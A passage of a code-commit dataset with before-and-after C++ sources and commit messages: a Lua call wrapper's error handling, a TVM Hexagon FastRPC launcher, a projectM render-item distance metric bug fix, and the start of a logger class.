);\n\treturn d->metaData.keys();\n}\n\nQString AbstractMediaProducer::metaDataItem( const QString& key ) const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->metaData.value( key );\n}\n\nQStringList AbstractMediaProducer::metaDataItems( const QString& key ) const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->metaData.values( key );\n}\n\nvoid AbstractMediaProducerPrivate::phononObjectDestroyed( Base* o )\n{\n\t\/\/ this method is called from Phonon::Base::~Base(), meaning the AudioPath\n\t\/\/ dtor has already been called, also virtual functions don't work anymore\n\t\/\/ (therefore qobject_cast can only downcast from Base)\n\tQ_ASSERT( o );\n\tAudioPath* audioPath = static_cast<AudioPath*>( o );\n\tVideoPath* videoPath = static_cast<VideoPath*>( o );\n\tif( audioPaths.contains( audioPath ) )\n\t{\n\t\tif( backendObject )\n\t\t\tqobject_cast<MediaProducerInterface*>( backendObject )->removeAudioPath( audioPath->iface() );\n\t\taudioPaths.removeAll( audioPath );\n\t}\n\telse if( videoPaths.contains( videoPath ) )\n\t{\n\t\tif( backendObject )\n\t\t\tqobject_cast<MediaProducerInterface*>( backendObject )->removeVideoPath( videoPath->iface() );\n\t\tvideoPaths.removeAll( videoPath );\n\t}\n}\n\n} \/\/namespace Phonon\n\n#include \"abstractmediaproducer.moc\"\n\/\/ vim: sw=4 ts=4 tw=80\n<|endoftext|>"} {"text":"<commit_before>#ifndef LUA_FUNCTION_H\n#include \"LuaFunction.hpp\"\n#endif\n\nLuaFunction::LuaFunction(LuaAdapter &lua) : Lua{lua.GetLuaState()} {}\n\nLuaFunction::LuaFunction(lua_State *const lua) : Lua{lua} {}\n\nLuaFunction::~LuaFunction() {}\n\nbool LuaFunction::Call(const char *functionName, const unsigned short int argc,\n const int args[], int &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n\n for (unsigned char i = 0; i < argc; i++)\n if (args + i)\n lua_pushnumber(this->Lua, args[i]);\n if (this->pcall(argc, 1, 0) == false) {\n return false;\n }\n\n if (lua_isnumber(this->Lua, -1)) {\n result = lua_tointeger(this->Lua, -1);\n }\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, const char *const string,\n const size_t length) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n lua_pushlstring(this->Lua, string, length);\n if (this->pcall(1, 1, 0) == false){\n return false;\n }\n \/\/lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n if (this->pcall(0, 0, 0) == false) {\n return false;\n }\n \/\/lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, const char *const string,\n size_t &length, std::string &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n lua_pushlstring(this->Lua, string, length);\n\n if (this->pcall(1, 1, 0) == false){\n return false;\n }\n if (lua_isstring(this->Lua, -1) == false) {\n lua_pop(this->Lua, 1);\n return false;\n }\n size_t l{0};\n const char *buffer{lua_tolstring(this->Lua, -1, &l)};\n if ((!buffer) || (l == 0)) {\n lua_pop(this->Lua, 1);\n return false;\n }\n length = l;\n result = std::string{buffer, length};\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, const std::string arg,\n std::string &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n lua_pushlstring(this->Lua, arg.c_str(), arg.length());\n\n if (this->pcall(1, 1, 0) == false){\n return false;\n }\n if (lua_isstring(this->Lua, -1) == false) {\n lua_pop(this->Lua, 1);\n return false;\n }\n result = lua_tostring(this->Lua, -1);\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, double &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n\n if (this->pcall(0, 1, 0) == false)\n return false;\n if (lua_isnumber(this->Lua, -1) == false) {\n lua_pop(this->Lua, 1);\n return false;\n }\n result = lua_tonumber(this->Lua, -1);\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Push(Lua_callback_function function,\n const char *functionName) {\n if (!this->Lua)\n return false;\n\n lua_pushcfunction(this->Lua, function);\n lua_setglobal(this->Lua, functionName);\n return true;\n}\n\nbool LuaFunction::pcall(int nargs, int nresults, int msgh){\n \/\/luaL_traceback(this->Lua, this->Lua, nullptr, 0);\n\n const int call {lua_pcall(this->Lua, nargs, nresults, msgh)};\n if (call == LUA_OK){\n return true;\n }\n \/\/std::cerr << \"\\tTraceback: \" << lua_tostring(this->Lua, -1);\n \/\/ lua_pop(this->Lua, 1);\n std::cerr << LUA_PREFIX << \"Error: pcall failed. Code: \";\n std::cerr << call;\n std::cerr << \", '\" << lua_tostring(this->Lua, -1) << \"'\\n\";\n lua_pop(this->Lua, 1);\n return false;\n}<commit_msg>Added proper pcall-function for error-outputs<commit_after>#ifndef LUA_FUNCTION_H\n#include \"LuaFunction.hpp\"\n#endif\n\nLuaFunction::LuaFunction(LuaAdapter &lua) : Lua{lua.GetLuaState()} {}\n\nLuaFunction::LuaFunction(lua_State *const lua) : Lua{lua} {}\n\nLuaFunction::~LuaFunction() {}\n\nbool LuaFunction::Call(const char *functionName, const unsigned short int argc,\n const int args[], int &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n\n for (unsigned char i = 0; i < argc; i++)\n if (args + i)\n lua_pushnumber(this->Lua, args[i]);\n if (this->pcall(argc, 1, 0) == false) {\n return false;\n }\n\n if (lua_isnumber(this->Lua, -1)) {\n result = lua_tointeger(this->Lua, -1);\n }\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, const char *const string,\n const size_t length) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n lua_pushlstring(this->Lua, string, length);\n if (this->pcall(1, 1, 0) == false){\n return false;\n }\n \/\/lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n if (this->pcall(0, 0, 0) == false) {\n return false;\n }\n \/\/lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, const char *const string,\n size_t &length, std::string &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n lua_pushlstring(this->Lua, string, length);\n\n if (this->pcall(1, 1, 0) == false){\n return false;\n }\n if (lua_isstring(this->Lua, -1) == false) {\n lua_pop(this->Lua, 1);\n return false;\n }\n size_t l{0};\n const char *buffer{lua_tolstring(this->Lua, -1, &l)};\n if ((!buffer) || (l == 0)) {\n lua_pop(this->Lua, 1);\n return false;\n }\n length = l;\n result = std::string{buffer, length};\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, const std::string arg,\n std::string &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n lua_pushlstring(this->Lua, arg.c_str(), arg.length());\n\n if (this->pcall(1, 1, 0) == false){\n return false;\n }\n if (lua_isstring(this->Lua, -1) == false) {\n lua_pop(this->Lua, 1);\n return false;\n }\n result = lua_tostring(this->Lua, -1);\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Call(const char *functionName, double &result) {\n if (!this->Lua) {\n return false;\n }\n lua_getglobal(this->Lua, functionName);\n\n if (this->pcall(0, 1, 0) == false)\n return false;\n if (lua_isnumber(this->Lua, -1) == false) {\n lua_pop(this->Lua, 1);\n return false;\n }\n result = lua_tonumber(this->Lua, -1);\n lua_pop(this->Lua, 1);\n return true;\n}\n\nbool LuaFunction::Push(Lua_callback_function function,\n const char *functionName) {\n if (!this->Lua)\n return false;\n\n lua_pushcfunction(this->Lua, function);\n lua_setglobal(this->Lua, functionName);\n return true;\n}\n\nbool LuaFunction::pcall(int nargs, int nresults, int msgh){\n const int call {lua_pcall(this->Lua, nargs, nresults, msgh)};\n if (call == LUA_OK){\n return true;\n }\n std::cerr << LUA_PREFIX << \"Error: pcall failed. Code: \";\n std::cerr << call;\n std::cerr << \", '\" << lua_tostring(this->Lua, -1) << \"'\\n\";\n lua_pop(this->Lua, 1);\n return false;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include <AEEStdDef.h>\n#include <AEEStdErr.h>\n#include <remote.h>\n#include <rpcmem.h>\n\n#include <algorithm>\n#include <ios>\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include \"launcher_core.h\"\n#include \"launcher_rpc.h\"\n\nAEEResult enable_unsigned_pd(bool enable) {\n remote_rpc_control_unsigned_module data{static_cast<int>(enable), CDSP_DOMAIN_ID};\n AEEResult rc = remote_session_control(DSPRPC_CONTROL_UNSIGNED_MODULE, &data, sizeof(data));\n if (rc != AEE_SUCCESS) {\n std::cout << \"error \" << (enable ? \"enabling\" : \"disabling\") << \" unsigned PD\\n\";\n }\n return rc;\n}\n\nAEEResult set_remote_stack_size(int size) {\n remote_rpc_thread_params th_data{CDSP_DOMAIN_ID, -1, size};\n AEEResult rc = remote_session_control(FASTRPC_THREAD_PARAMS, &th_data, sizeof(th_data));\n if (rc != AEE_SUCCESS) {\n std::cout << \"error setting remote stack size: \" << std::hex << rc << '\\n';\n }\n return rc;\n}\n\nstruct RPCChannel : public ExecutionSession {\n explicit RPCChannel(const std::string& uri) {\n enable_unsigned_pd(true);\n set_remote_stack_size(128 * 1024);\n\n int rc = launcher_rpc_open(uri.c_str(), &handle);\n if (rc != AEE_SUCCESS) {\n handle = -1;\n }\n }\n\n ~RPCChannel() {\n if (handle == -1) {\n return;\n }\n\n for (void* ptr : allocations) {\n rpcmem_free(ptr);\n }\n if (model_loaded) {\n unload_model();\n }\n launcher_rpc_close(handle);\n handle = -1;\n }\n\n void* alloc_mem(size_t nbytes, size_t align) override {\n void* host_ptr = rpcmem_alloc(RPCMEM_HEAP_ID_SYSTEM, RPCMEM_DEFAULT_FLAGS, nbytes);\n if (host_ptr != nullptr) {\n allocations.push_back(host_ptr);\n }\n return host_ptr;\n }\n\n void free_mem(void* addr) override {\n auto f = std::find(allocations.begin(), allocations.end(), addr);\n if (f != allocations.end()) {\n allocations.erase(f);\n rpcmem_free(addr);\n }\n }\n\n bool load_model(const std::string& model_path, const std::string& model_json) override {\n AEEResult rc = launcher_rpc_load(handle, model_path.c_str(), model_json.c_str());\n if (rc != AEE_SUCCESS) {\n std::cout << \"error loading graph module: \" << std::hex << rc << '\\n';\n } else {\n model_loaded = true;\n }\n return rc == AEE_SUCCESS;\n }\n\n bool unload_model() override {\n AEEResult rc = launcher_rpc_unload(handle);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error unloading model: \" << std::hex << rc << '\\n';\n }\n model_loaded = false;\n return rc == AEE_SUCCESS;\n }\n\n bool set_input(int input_idx, const tensor_meta* input_meta, const void* input_data) override {\n AEEResult rc = launcher_rpc_set_input(\n handle, input_idx, reinterpret_cast<const unsigned char*>(input_meta),\n input_meta->meta_size(), reinterpret_cast<const unsigned char*>(input_data),\n input_meta->data_size());\n if (rc != AEE_SUCCESS) {\n std::cout << \"error setting model input no.\" << input_idx << \": \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool run(uint64_t* pcycles, uint64_t* usecs) override {\n AEEResult rc = launcher_rpc_run(handle, pcycles, usecs);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error running model: \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool get_num_outputs(int* num_outputs) override {\n AEEResult rc = launcher_rpc_get_num_outputs(handle, num_outputs);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error getting number of outputs: \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool get_output(int output_idx, tensor_meta* output_meta, int meta_size, void* output_data,\n int data_size) override {\n AEEResult rc = launcher_rpc_get_output(\n handle, output_idx, reinterpret_cast<unsigned char*>(output_meta), meta_size,\n reinterpret_cast<unsigned char*>(output_data), data_size);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error getting output no.\" << output_idx << \": \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool model_loaded = false;\n remote_handle64 handle = -1;\n std::vector<void*> allocations;\n};\n\nExecutionSession* create_execution_session() {\n auto* session = new RPCChannel(launcher_rpc_URI CDSP_DOMAIN);\n if (session->handle == -1) {\n delete session;\n session = nullptr;\n std::cout << \"Error opening FastRPC channel\\n\";\n }\n return session;\n}\n<commit_msg>[Hexagon] Don't use {} initialization with FastRPC structures (#9033)<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include <AEEStdDef.h>\n#include <AEEStdErr.h>\n#include <remote.h>\n#include <rpcmem.h>\n\n#include <algorithm>\n#include <ios>\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include \"launcher_core.h\"\n#include \"launcher_rpc.h\"\n\nAEEResult enable_unsigned_pd(bool enable) {\n remote_rpc_control_unsigned_module data;\n data.domain = CDSP_DOMAIN_ID;\n data.enable = static_cast<int>(enable);\n AEEResult rc = remote_session_control(DSPRPC_CONTROL_UNSIGNED_MODULE, &data, sizeof(data));\n if (rc != AEE_SUCCESS) {\n std::cout << \"error \" << (enable ? \"enabling\" : \"disabling\") << \" unsigned PD\\n\";\n }\n return rc;\n}\n\nAEEResult set_remote_stack_size(int size) {\n remote_rpc_thread_params data;\n data.domain = CDSP_DOMAIN_ID;\n data.prio = -1;\n data.stack_size = size;\n AEEResult rc = remote_session_control(FASTRPC_THREAD_PARAMS, &data, sizeof(data));\n if (rc != AEE_SUCCESS) {\n std::cout << \"error setting remote stack size: \" << std::hex << rc << '\\n';\n }\n return rc;\n}\n\nstruct RPCChannel : public ExecutionSession {\n explicit RPCChannel(const std::string& uri) {\n enable_unsigned_pd(true);\n set_remote_stack_size(128 * 1024);\n\n int rc = launcher_rpc_open(uri.c_str(), &handle);\n if (rc != AEE_SUCCESS) {\n handle = -1;\n }\n }\n\n ~RPCChannel() {\n if (handle == -1) {\n return;\n }\n\n for (void* ptr : allocations) {\n rpcmem_free(ptr);\n }\n if (model_loaded) {\n unload_model();\n }\n launcher_rpc_close(handle);\n handle = -1;\n }\n\n void* alloc_mem(size_t nbytes, size_t align) override {\n void* host_ptr = rpcmem_alloc(RPCMEM_HEAP_ID_SYSTEM, RPCMEM_DEFAULT_FLAGS, nbytes);\n if (host_ptr != nullptr) {\n allocations.push_back(host_ptr);\n }\n return host_ptr;\n }\n\n void free_mem(void* addr) override {\n auto f = std::find(allocations.begin(), allocations.end(), addr);\n if (f != allocations.end()) {\n allocations.erase(f);\n rpcmem_free(addr);\n }\n }\n\n bool load_model(const std::string& model_path, const std::string& model_json) override {\n AEEResult rc = launcher_rpc_load(handle, model_path.c_str(), model_json.c_str());\n if (rc != AEE_SUCCESS) {\n std::cout << \"error loading graph module: \" << std::hex << rc << '\\n';\n } else {\n model_loaded = true;\n }\n return rc == AEE_SUCCESS;\n }\n\n bool unload_model() override {\n AEEResult rc = launcher_rpc_unload(handle);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error unloading model: \" << std::hex << rc << '\\n';\n }\n model_loaded = false;\n return rc == AEE_SUCCESS;\n }\n\n bool set_input(int input_idx, const tensor_meta* input_meta, const void* input_data) override {\n AEEResult rc = launcher_rpc_set_input(\n handle, input_idx, reinterpret_cast<const unsigned char*>(input_meta),\n input_meta->meta_size(), reinterpret_cast<const unsigned char*>(input_data),\n input_meta->data_size());\n if (rc != AEE_SUCCESS) {\n std::cout << \"error setting model input no.\" << input_idx << \": \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool run(uint64_t* pcycles, uint64_t* usecs) override {\n AEEResult rc = launcher_rpc_run(handle, pcycles, usecs);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error running model: \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool get_num_outputs(int* num_outputs) override {\n AEEResult rc = launcher_rpc_get_num_outputs(handle, num_outputs);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error getting number of outputs: \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool get_output(int output_idx, tensor_meta* output_meta, int meta_size, void* output_data,\n int data_size) override {\n AEEResult rc = launcher_rpc_get_output(\n handle, output_idx, reinterpret_cast<unsigned char*>(output_meta), meta_size,\n reinterpret_cast<unsigned char*>(output_data), data_size);\n if (rc != AEE_SUCCESS) {\n std::cout << \"error getting output no.\" << output_idx << \": \" << std::hex << rc << '\\n';\n }\n return rc == AEE_SUCCESS;\n }\n\n bool model_loaded = false;\n remote_handle64 handle = -1;\n std::vector<void*> allocations;\n};\n\nExecutionSession* create_execution_session() {\n auto* session = new RPCChannel(launcher_rpc_URI CDSP_DOMAIN);\n if (session->handle == -1) {\n delete session;\n session = nullptr;\n std::cout << \"Error opening FastRPC channel\\n\";\n }\n return session;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * RenderItemDistanceMetric.h\n *\n * Created on: Feb 16, 2009\n * Author: struktured\n *\/\n\n#ifndef RenderItemDISTANCEMETRIC_H_\n#define RenderItemDISTANCEMETRIC_H_\n\n#include \"Common.hpp\"\n#include \"Renderable.hpp\"\n#include <limits>\n#include <functional>\n#include <map>\n\nstruct TypeIdPair {\n\tTypeIdPair(const std::type_info & info1, const std::type_info & info2): id1(info1.name()), id2(info2.name()) {}\n\tTypeIdPair(const std::string & id1, const std::string & id2): id1(id1), id2(id2) {}\n\tstd::string id1;\n\tstd::string id2;\n\tinline bool operator<(const TypeIdPair & rhs) const {\n\t\treturn this->id1 < rhs.id1 || (this->id1 == rhs.id1 && this->id2 < rhs.id2);\n\t}\n\n\tinline bool operator>(const TypeIdPair & rhs) const {\n\t\treturn !operator<(rhs) && !operator==(rhs);\n\t}\n\n\tinline bool operator==(const TypeIdPair & rhs) const {\n\t\t\treturn this->id1 == rhs.id1 && this->id2 == rhs.id2;\n\t}\n};\n\n\/\/\/ Compares two render items and returns zero if they are virtually equivalent and large values\n\/\/\/ when they are dissimilar. If two render items cannot be compared, NOT_COMPARABLE_VALUE is returned.\nclass RenderItemDistanceMetric : public std::binary_function<const RenderItem*, const RenderItem*, double> {\npublic:\n const static double NOT_COMPARABLE_VALUE;\n virtual double operator()(const RenderItem * r1, const RenderItem * r2) const = 0;\n virtual TypeIdPair typeIdPair() const = 0;\n};\n\n\/\/ A base class to construct render item distance metrics. Just specify your two concrete\n\/\/ render item types as template parameters and override the computeDistance() function.\ntemplate <class R1, class R2>\nclass RenderItemDistance : public RenderItemDistanceMetric {\n\nprotected:\n\/\/ Override to create your own distance metric for your specified custom types.\nvirtual double computeDistance(const R1 * r1, const R2 * r2) const = 0;\n\npublic:\n\ninline virtual double operator()(const RenderItem * r1, const RenderItem * r2) const {\n\tif (supported(r1, r2))\n\t\treturn computeDistance(dynamic_cast<const R1*>(r1), dynamic_cast<const R2*>(r2));\n\telse if (supported(r2,r1))\n\t\treturn computeDistance(dynamic_cast<const R2*>(r2), dynamic_cast<const R2*>(r1));\n\telse\n\t\treturn NOT_COMPARABLE_VALUE;\n}\n\n\/\/ Returns true if and only if r1 and r2 are of type R1 and R2 respectively.\ninline bool supported(const RenderItem * r1, const RenderItem * r2) const {\n\treturn typeid(r1) == typeid(const R1 *) && typeid(r2) == typeid(const R2 *);\n}\n\ninline TypeIdPair typeIdPair() const {\n\treturn TypeIdPair(typeid(const R1*).name(), typeid(const R2*).name());\n}\n\n};\n\n\nclass RTIRenderItemDistance : public RenderItemDistance<RenderItem, RenderItem> {\npublic:\n\n\tRTIRenderItemDistance() {}\n\tvirtual ~RTIRenderItemDistance() {}\n\nprotected:\n\tvirtual inline double computeDistance(const RenderItem * lhs, const RenderItem * rhs) const {\n\t\tif (typeid(lhs) == typeid(rhs))\n\t\t\treturn 0.0;\n\t\telse\n\t\t\treturn NOT_COMPARABLE_VALUE;\n\t}\n\n\n};\n\n\n\nclass ShapeXYDistance : public RenderItemDistance<Shape, Shape> {\n\npublic:\n\n\tShapeXYDistance() {}\n\tvirtual ~ShapeXYDistance() {}\n\nprotected:\n\n\tvirtual inline double computeDistance(const Shape * lhs, const Shape * rhs) const {\n\t\t\treturn (meanSquaredError(lhs->x, rhs->x) + meanSquaredError(lhs->y, rhs->y)) \/ 2;\n\t}\n\n};\n\n\nclass MasterRenderItemDistance : public RenderItemDistance<RenderItem, RenderItem> {\n\ntypedef std::map<TypeIdPair, RenderItemDistanceMetric*> DistanceMetricMap;\npublic:\n\n\tMasterRenderItemDistance() {}\n\tvirtual ~MasterRenderItemDistance() {}\n\n\tinline void addMetric(RenderItemDistanceMetric * fun) {\n\t\t_distanceMetricMap[fun->typeIdPair()] = fun;\n\t}\n\nprotected:\n\tvirtual inline double computeDistance(const RenderItem * lhs, const RenderItem * rhs) const {\n\n\t\tRenderItemDistanceMetric * metric;\n\n\t\tTypeIdPair pair(typeid(lhs), typeid(rhs));\n\t\tif (_distanceMetricMap.count(pair)) {\n\t\t\tmetric = _distanceMetricMap[pair];\n\t\t} else if (_distanceMetricMap.count(pair = TypeIdPair(typeid(lhs), typeid(rhs)))) {\n\t\t\tmetric = _distanceMetricMap[pair];\n\t\t} else {\n\t\t\tmetric = 0;\n\t\t}\n\n\t\t\/\/ If specialized metric exists, use it to get higher granularity\n\t\t\/\/ of correctness\n\t\tif (metric)\n\t\t\treturn (*metric)(lhs, rhs);\n\t\telse \/\/ Failing that, use rtti and return 0 if they match, max value otherwise\n\t\t\treturn _rttiDistance(lhs,rhs);\n\t}\n\nprivate:\n\tmutable RTIRenderItemDistance _rttiDistance;\n\tmutable DistanceMetricMap _distanceMetricMap;\n};\n\n#endif \/* RenderItemDISTANCEMETRIC_H_ *\/\n<commit_msg>bug fix<commit_after>\/*\n * RenderItemDistanceMetric.h\n *\n * Created on: Feb 16, 2009\n * Author: struktured\n *\/\n\n#ifndef RenderItemDISTANCEMETRIC_H_\n#define RenderItemDISTANCEMETRIC_H_\n\n#include \"Common.hpp\"\n#include \"Renderable.hpp\"\n#include <limits>\n#include <functional>\n#include <map>\n\nstruct TypeIdPair {\n\tTypeIdPair(const std::type_info & info1, const std::type_info & info2): id1(info1.name()), id2(info2.name()) {}\n\tTypeIdPair(const std::string & id1, const std::string & id2): id1(id1), id2(id2) {}\n\tstd::string id1;\n\tstd::string id2;\n\tinline bool operator<(const TypeIdPair & rhs) const {\n\t\treturn this->id1 < rhs.id1 || (this->id1 == rhs.id1 && this->id2 < rhs.id2);\n\t}\n\n\tinline bool operator>(const TypeIdPair & rhs) const {\n\t\treturn !operator<(rhs) && !operator==(rhs);\n\t}\n\n\tinline bool operator==(const TypeIdPair & rhs) const {\n\t\t\treturn this->id1 == rhs.id1 && this->id2 == rhs.id2;\n\t}\n};\n\n\/\/\/ Compares two render items and returns zero if they are virtually equivalent and large values\n\/\/\/ when they are dissimilar. If two render items cannot be compared, NOT_COMPARABLE_VALUE is returned.\nclass RenderItemDistanceMetric : public std::binary_function<const RenderItem*, const RenderItem*, double> {\npublic:\n const static double NOT_COMPARABLE_VALUE;\n virtual double operator()(const RenderItem * r1, const RenderItem * r2) const = 0;\n virtual TypeIdPair typeIdPair() const = 0;\n};\n\n\/\/ A base class to construct render item distance metrics. Just specify your two concrete\n\/\/ render item types as template parameters and override the computeDistance() function.\ntemplate <class R1, class R2>\nclass RenderItemDistance : public RenderItemDistanceMetric {\n\nprotected:\n\/\/ Override to create your own distance metric for your specified custom types.\nvirtual double computeDistance(const R1 * r1, const R2 * r2) const = 0;\n\npublic:\n\ninline virtual double operator()(const RenderItem * r1, const RenderItem * r2) const {\n\tif (supported(r1, r2))\n\t\treturn computeDistance(dynamic_cast<const R1*>(r1), dynamic_cast<const R2*>(r2));\n\telse if (supported(r2,r1))\n\t\treturn computeDistance(dynamic_cast<const R2*>(r2), dynamic_cast<const R2*>(r1));\n\telse\n\t\treturn NOT_COMPARABLE_VALUE;\n}\n\n\/\/ Returns true if and only if r1 and r2 are of type R1 and R2 respectively.\ninline bool supported(const RenderItem * r1, const RenderItem * r2) const {\n\treturn typeid(r1) == typeid(const R1 *) && typeid(r2) == typeid(const R2 *);\n}\n\ninline TypeIdPair typeIdPair() const {\n\treturn TypeIdPair(typeid(const R1*).name(), typeid(const R2*).name());\n}\n\n};\n\n\nclass RTIRenderItemDistance : public RenderItemDistance<RenderItem, RenderItem> {\npublic:\n\n\tRTIRenderItemDistance() {}\n\tvirtual ~RTIRenderItemDistance() {}\n\nprotected:\n\tvirtual inline double computeDistance(const RenderItem * lhs, const RenderItem * rhs) const {\n\t\tif (typeid(lhs) == typeid(rhs))\n\t\t\treturn 0.0;\n\t\telse\n\t\t\treturn NOT_COMPARABLE_VALUE;\n\t}\n\n\n};\n\n\n\nclass ShapeXYDistance : public RenderItemDistance<Shape, Shape> {\n\npublic:\n\n\tShapeXYDistance() {}\n\tvirtual ~ShapeXYDistance() {}\n\nprotected:\n\n\tvirtual inline double computeDistance(const Shape * lhs, const Shape * rhs) const {\n\t\t\treturn (meanSquaredError(lhs->x, rhs->x) + meanSquaredError(lhs->y, rhs->y)) \/ 2;\n\t}\n\n};\n\n\nclass MasterRenderItemDistance : public RenderItemDistance<RenderItem, RenderItem> {\n\ntypedef std::map<TypeIdPair, RenderItemDistanceMetric*> DistanceMetricMap;\npublic:\n\n\tMasterRenderItemDistance() {}\n\tvirtual ~MasterRenderItemDistance() {}\n\n\tinline void addMetric(RenderItemDistanceMetric * fun) {\n\t\t_distanceMetricMap[fun->typeIdPair()] = fun;\n\t}\n\nprotected:\n\tvirtual inline double computeDistance(const RenderItem * lhs, const RenderItem * rhs) const {\n\n\t\tRenderItemDistanceMetric * metric;\n\n\t\tTypeIdPair pair(typeid(lhs), typeid(rhs));\n\t\tif (_distanceMetricMap.count(pair)) {\n\t\t\tmetric = _distanceMetricMap[pair];\n\t\t} else if (_distanceMetricMap.count(pair = TypeIdPair(typeid(rhs), typeid(lhs)))) {\n\t\t\tmetric = _distanceMetricMap[pair];\n\t\t} else {\n\t\t\tmetric = 0;\n\t\t}\n\n\t\t\/\/ If specialized metric exists, use it to get higher granularity\n\t\t\/\/ of correctness\n\t\tif (metric)\n\t\t\treturn (*metric)(lhs, rhs);\n\t\telse \/\/ Failing that, use rtti and return 0 if they match, max value otherwise\n\t\t\treturn _rttiDistance(lhs,rhs);\n\t}\n\nprivate:\n\tmutable RTIRenderItemDistance _rttiDistance;\n\tmutable DistanceMetricMap _distanceMetricMap;\n};\n\n#endif \/* RenderItemDISTANCEMETRIC_H_ *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"Logger.h\"\n#include <sstream>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n\n\nLogger* Logger::logger_instance = NULL;\n\nLogger::Logger(): nivelDeLog(LOG_DEBUG) {\n\tstring timeStamp = \"output.html\";\n\tstruct stat buffer;\n\tif (stat(timeStamp.c_str(), &buffer)) {\n\t\tarchivoLog.open( timeStamp.c_str() );\n\t\tarchivoLog << \" Fecha y hora\\t\\t\" << \" Tipo\\t\\t\" << \"Lugar del mensaje\\t\\t\\t\" << \"Mensaje\" << endl ;\n\t} else {\n\t\tarchivoLog.open(timeStamp.c_str(), std::ofstream::app);\n\t}\n\tlock = new LockFile(timeStamp.c_str());\n}\n\nLogger& Logger::instance() {\n\tif (!logger_instance) {\n\t\tlogger_instance = new Logger();\n\t}\n\treturn *logger_instance;\n}\n\nvoid Logger::close() {\n\tif (logger_instance)\n\t\tdelete logger_instance;\n\tlogger_instance = NULL;\n}\n\nLogger::~Logger() {\n\tdelete lock;\n}\n\nvoid Logger::warn(const string& tag, const string& msg){\n\tif ((nivelDeLog & LOG_WARN) == 0)\n\t\treturn;\n\n\tlog(tag, msg, LOG_WARN);\n}\n\nvoid Logger::error(const string& tag, const string& msg) {\n\tif ((nivelDeLog & LOG_ERROR) == 0)\n\t\treturn;\n\n\tlog(tag, msg, LOG_ERROR);\n}\n\nvoid Logger::debug(const string& tag, const string& msg) {\n\tif (nivelDeLog != LOG_DEBUG)\n\t\treturn;\n\tlog(tag, msg, LOG_DEBUG);\n}\n\nvoid Logger::info(const string& tag, const string& msg) {\n\tif ((nivelDeLog & LOG_INFO) == 0)\n\t\treturn;\t\n\t\n\tlog(tag, msg, 